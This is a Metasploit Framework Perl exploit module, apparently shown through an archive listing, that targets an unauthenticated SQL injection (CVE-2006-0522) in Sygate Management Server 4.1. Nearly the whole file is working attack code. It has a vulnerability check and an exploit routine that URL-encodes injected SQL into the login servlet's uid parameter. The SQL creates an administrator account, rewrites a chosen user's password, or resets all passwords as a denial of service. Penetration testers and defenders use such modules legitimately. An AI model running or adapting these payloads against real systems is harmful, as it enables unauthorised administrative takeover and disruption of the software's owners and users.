home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / sygate_policy_manager.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  230 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. ##
  11. # Affected product : Sygate Management Server v4.1 (at least)
  12. #
  13. # Vulnerability    : SQL-Injection in login page
  14. # Required privs   : Network access to the admin interface (HTTP)
  15. # Impact           : Raw access to the database
  16. # Sample payload   : Create a valid admin account directly in the database  
  17. #
  18. # Editor status    : Official patch available
  19. # http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html
  20. #
  21. ##
  22.  
  23. package Msf::Exploit::sygate_policy_manager;
  24. use base "Msf::Exploit";
  25. use strict;
  26. use Pex::Text;
  27. use bytes;
  28. use vars qw{$HAS_SHA1};
  29.  
  30. BEGIN 
  31. {
  32.     $HAS_SHA1 = 0;
  33.     
  34.     if (eval('require Digest::SHA1')) {
  35.         eval('use Digest::SHA1 qw(sha1);');
  36.         $HAS_SHA1 = 1;
  37.     }    
  38. }
  39.  
  40. my $advanced = { };
  41.  
  42. my $info = {
  43.     'Name'     => 'Sygate Management Server SQL Injection',
  44.     'Version'  => '$Revision: 1.4 $',
  45.     'Authors'  => [ 'Nicob <nicob[at]nicob.net>' ],
  46.     'Arch'     => [ 'x86' ],
  47.     'OS'       => [ 'win32' ],
  48.     'Priv'     => 0,
  49.     'UserOpts' =>
  50.       {
  51.         'RHOST'    => [1, 'ADDR',   'The target address'],
  52.         'RPORT'    => [1, 'PORT',   'The target port', 80],
  53.         'VHOST'    => [0, 'DATA',   'The virtual host name of the server'],
  54.         'LOGIN'    => [0, 'LOGIN',  'The username to create/modify', 'reporting'],
  55.         'PASSWD'   => [0, 'PASSWD', 'The encrypted password of this user', 'my_passwd'],
  56.         'SERVLET'  => [1, 'DATA',   'Full path of the servlet', '/servlet/Sygate.Servlet.login'],
  57.         'SSL'      => [0, 'BOOL',   'Use SSL'],
  58.       },
  59.  
  60.     'Description' => Pex::Text::Freeform(qq{
  61.         This module exploits a non authenticated SQL-Injection vulnerability in the
  62.         Sygate Management Server (now Symantec Policy Manager), in order to create a new
  63.         admin account or change the password of an existing one. Version 4.1 is known to be vulnerable.
  64.         Version 5 is not vulnerable.
  65. }),
  66.  
  67.     'Refs' =>
  68.       [
  69.         ['URL',   'http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html'],
  70.         ['CVE',   '2006-0522'],
  71.         ['OSVDB', '22883'],
  72.         ['BID',   '16452'],
  73.       ],
  74.  
  75.     'Targets' => 
  76.         [
  77.             ['Change a specific users password', 'change_user_passwd'],
  78.             ['Create a new administrative account', 'add_account'],
  79.             ['Reset all passwords (denial of service)', 'reset_all'],
  80.         ],
  81.     
  82.     'DefaultTarget' => 0,
  83.     
  84.     'Keys' => ['sygate'],
  85.  
  86.   };
  87.  
  88. sub new {
  89.     my $class = shift;
  90.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  91.     return($self);
  92. }
  93.  
  94. sub Check {
  95.     my $self = shift;
  96.     my $target_host    = $self->GetVar('RHOST');
  97.     my $vhost          = $self->VHost;
  98.     my $target_port    = $self->GetVar('RPORT');
  99.     my $servlet        = $self->GetVar('SERVLET');
  100.     
  101.     my $request =
  102.       "GET $servlet?uid=test1&up=test2 HTTP/1.1\r\n".
  103.       "Accept: */*\r\n".
  104.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  105.       "Host: $vhost:$target_port\r\n".
  106.       "Connection: Close\r\n".
  107.       "\r\n";
  108.  
  109.     my $s = Msf::Socket::Tcp->new(
  110.         'PeerAddr' => $target_host,
  111.         'PeerPort' => $target_port,
  112.         'SSL'      => $self->GetVar('SSL'),
  113.       );
  114.  
  115.     if ($s->IsError){
  116.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  117.         return $self->CheckCode('Connect');
  118.     }
  119.  
  120.     $self->PrintLine("[*] Establishing a connection to the target...");
  121.  
  122.     $s->Send($request);
  123.     my $results = $s->Recv(-1, 20);
  124.     $s->Close();
  125.     
  126.     if ($results =~ /HTTP\/1\..\s+200/) {
  127.  
  128.         $self->PrintLine("[*] Vulnerable server detected!");
  129.         return $self->CheckCode('Confirmed');
  130.         
  131.     } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {
  132.  
  133.         $self->PrintLine("[*] The Sygate Policy Manager servlet was not found.");
  134.         return $self->CheckCode('Safe');
  135.     }
  136.  
  137.     $self->PrintLine("[*] Generic error...");
  138.     return $self->CheckCode('Generic');
  139. }
  140.  
  141. sub Exploit {
  142.     my $self = shift;
  143.     my $target_host    = $self->GetVar('RHOST');
  144.     my $vhost          = $self->VHost;
  145.     my $target_port    = $self->GetVar('RPORT');
  146.     my $servlet        = $self->GetVar('SERVLET');
  147.     my $login          = $self->GetVar('LOGIN');
  148.     my $passwd         = $self->GetVar('PASSWD');
  149.     my $target         = $self->Targets->[$self->GetVar('TARGET')];
  150.     
  151.     if (! $HAS_SHA1) {
  152.         $self->PrintLine("[*] Please install the Digest-SHA1 module to use this exploit");
  153.         return;
  154.     }
  155.  
  156.     # The 'Password' field is a hex-encoded SHA-1 digest of the "user+password" string
  157.     my $sha1 = sha1($login.$passwd);
  158.     $sha1 =~ s/./sprintf("%02x", ord($&))/ges;
  159.     $sha1 = "0x".uc($sha1);
  160.  
  161.     # Maximum level of privileges
  162.     my $privs = "255";
  163.  
  164.     
  165.     my %sqlpayloads = 
  166.     (
  167.         # Create a new valid admin account (in SMS v4.1) -- [BUG] : Can't access the Users panel :-(
  168.         'add_account' => 
  169.             "insert into CMS35.Admin (RecUpdateTime,LoginName,AdminNickName,Password,AdminRights,".
  170.             "AdminEmail,FailedLogin,AlertOnFailure,AlertFailureThreshold,OnlineState) ".
  171.             "values (getutcdate(),'$login','$login',$sha1,'$privs','',0,0,0,0)",
  172.  
  173.         # Reset the password of every account to "0x4141" (in SMS v4.1) -- Denial of Service only !
  174.         'reset_all' =>
  175.             "update CMS35.Admin set Password=cast('AA' as varbinary)",
  176.     
  177.         # Change the password of the selected account (in SMS v4.1) -- Yeah, full access to 'admin' !
  178.         'change_user_passwd' =>
  179.             "update CMS35.Admin set Password=$sha1 where LoginName='$login'",
  180.     );
  181.     
  182.     my $payload = $sqlpayloads{ $target->[1] };
  183.  
  184.     # Inject our payload
  185.     $servlet = $servlet."?uid=".Pex::Text::URLEncode("';$payload -- ")."&up=foo";
  186.  
  187.     my $request =
  188.       "GET $servlet HTTP/1.1\r\n".
  189.       "Accept: */*\r\n".
  190.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  191.       "Host: $vhost:$target_port\r\n".
  192.       "Connection: Close\r\n".
  193.       "\r\n";
  194.  
  195.     my $s = Msf::Socket::Tcp->new(
  196.         'PeerAddr' => $target_host,
  197.         'PeerPort' => $target_port,
  198.         'SSL'      => $self->GetVar('SSL'),
  199.       );
  200.  
  201.     if ($s->IsError){
  202.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  203.         return;
  204.     }
  205.  
  206.     $self->PrintLine("[*] Establishing a connection to the target...");
  207.     $self->PrintLine(' ');
  208.     $s->Send($request);
  209.     my $results = $s->Recv(-1, 20);
  210.     
  211.     if ($results =~ /HTTP\/1\.. 200 OK/im) {
  212.         # Seems to be fine ;-)
  213.         $self->PrintLine("OK. Now try to log with user '$login' and passwd '$passwd'");
  214.     } else {
  215.         $self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
  216.     }
  217.  
  218.     $s->Close();
  219.     return;
  220. }
  221.  
  222. sub VHost {
  223.     my $self = shift;
  224.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  225.     return $name;
  226. }
  227.  
  228. 1;
  229.